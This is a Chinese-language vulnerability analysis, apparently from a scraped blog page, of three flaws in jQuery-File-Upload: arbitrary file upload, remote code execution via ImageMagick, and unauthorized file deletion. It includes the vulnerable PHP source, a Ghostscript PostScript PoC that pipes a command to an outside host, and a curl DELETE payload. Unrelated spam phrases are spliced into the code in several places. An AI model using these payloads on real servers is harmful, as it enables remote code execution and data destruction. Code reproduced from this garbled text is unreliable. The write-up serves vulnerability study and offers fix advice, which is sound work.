jQuery-File-Upload任意上传RCE越权删除⽂件漏洞任意⽂件上传漏洞影响的版本:
jQuery-File-Upload版本 < v9.22.1 and Apache > 2.3.9(默认不再⽀持.htaccess) or others
产⽣漏洞的代码:
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new \stdClass();
$file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error, $index, $content_range);
$file->size = $this->fix_integer_overflow((int)$size);
$file->type = $type;
if ($this->validate($uploaded_file, $file, $error, $index)) {
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
slidedown是什么意思中文翻译mkdir($upload_dir, $this->options['mkdir_mode'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) &&
$file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path); // 进⾏上传操作
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen($this->options['input_stream'], 'r'),
$append_file ? FILE_APPEND : 0
);
}
$file_size = $this->get_file_size($file_path, $append_file);
if ($file_size === $file->size) {
$file->url = $this->get_download_url($file->name);
if ($this->is_valid_image_file($file_path)) {
$this->handle_image_file($file_path, $file);
}
} else {
$file->size = $file_size;
if (!$content_range && $this->options['discard_aborted_uploads']) {
unlink($file_path);
$file->error = $this->get_error_message('abort');
}
}
$this->set_additional_file_properties($file);
}
return $file;
}
⼀共经过如下四个步骤
主要看就是post函数和handle_file_upload函数
post函数中主要就是将上传的⽂件⽤$_FILE超全局变量来进⾏接收,然后把数组中相关参数放⼊到handle_file_upload⾥⾯进⾏处理这⾥stdClass类,可以理解为节省资源,这⾥⽤来作为⼀个存储上传⽂件相关数据来使⽤的
get_file_name进⾏了取⽂件名的后缀
进⾏验证操作
重点来了,可以发现默认的正则是/.+$/i,不对⼤⼩写敏感,并且任意匹配⼀个或多个字符,所以可以直接绕过
if (!preg_match($this->options['accept_file_types'], $file->name)) {
$file->error = $this->get_error_message('accept_file_types');
return false;
}
来到这⾥,这⾥虽然有进⾏图⽚后缀名的正则匹配,但是不会进⾏相应的措施
然后就进⾏了上传⽂件move_uploaded_file
if ($uploaded_file && is_uploaded_file($uploaded_file)) { //2222
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen($this->options['input_stream'], 'r'),
$append_file ? FILE_APPEND : 0
);
}matlab中rank函数
修复建议:可以在正则的地⽅进⾏修改匹配,也可以在验证是否是图⽚的时候进⾏return
远程命令执⾏漏洞:
jQuery-File-Upload版本 < v9.22.1,⾃⼰也只测试过9.22.0
get_image_size函数如下代码:
protected function get_image_size($file_path) {
if ($this->options['image_library']) {
if (extension_loaded('imagick')) {
$image = new \Imagick();
try {
idea如何导入项目if (@$image->pingImage($file_path)) {
$dimensions = array($image->getImageWidth(), $image->getImageHeight());
$image->destroy();
return $dimensions;
}
return false;
} catch (\Exception $e) {
error_log($e->getMessage());
}
}
if ($this->options['image_library'] === 2) {
$cmd = $this->options['identify_bin'];
$cmd .= ' -ping '.escapeshellarg($file_path);
exec($cmd, $output, $error);
eclipse安装选哪一个if (!$error && !empty($output)) {
// image.jpg JPEG 1920x1080 1920x1080+0+0 8-bit sRGB 465KB 0.000u 0:00.000 $infos = preg_split('/\s+/', substr($output[0], strlen($file_path)));
$dimensions = preg_split('/x/', $infos[2]);
return $dimensions;
}
return false;
}
}
if (!function_exists('getimagesize')) {
error_log('Function not found: getimagesize');
jquery下载的文件怎么使用return false;
}
return @getimagesize($file_path);
}
可以看下调⽤的地⽅
在validate中如下位置
具体的imagic如何触发的远程代码执⾏我也不清楚,以后懂的话再填充上!
利⽤poc(如果没有收到,记得考虑下是否是内⽹存在不出⽹的可能性):
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ping io) currentdevice putdeviceprops
⽂件越权删除漏洞
漏洞影响版本:⾃⼰测试了最新版本也存在~
可以看下,下⾯的代码中$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path);,这⾥⾯如果我们的$file_path能够进⾏控制的话,那么就能够进⾏越权进⾏⽂件的删除了
public function delete($print_response = true) {
$file_names = $this->get_file_names_params();
//var_dump($file_names);
if (empty($file_names)) { //返回为空,⾛下⾯流程
$file_names = array($this->get_file_name_param()); //$file_names ⾥⾯存放着$_GET['file']接收的内容
}
radon变换怎么读$response = array();
foreach ($file_names as $file_name) {
$file_path = $this->get_upload_path($file_name); //取当前⽂件的路径
$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path); //判断当前⽂件是否为⽂件
// 并且判断⽂件名是否以点开头,例如.htaccess
if ($success) {
var_dump($this->options['image_versions']);
foreach ($this->options['image_versions'] as $version => $options) {
if (!empty($version)) {
$file = $this->get_upload_path($file_name, $version);
if (is_file($file)) {
unlink($file);
}
}
}
}
$response[$file_name] = $success;
}
return $this->generate_response($response, $print_response);
}
payload:curl -X DELETE "127.0.0.1/server/php/index.php?file=⽂件名
很遗憾这⾥的⽂件名不能可控,只能是当前的⽂件进⾏越权删除来利⽤,原因是get_file_names_params函数中调⽤的
get_file_name_param函数中的$this->basename(stripslashes($this->get_query_param($name))),对输⼊的⽂件名进⾏了过滤操作,导致路径不可控
protected function get_file_name_param() {
$name = $this->get_singular_param_name();
return $this->basename(stripslashes($this->get_query_param($name)));
}
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论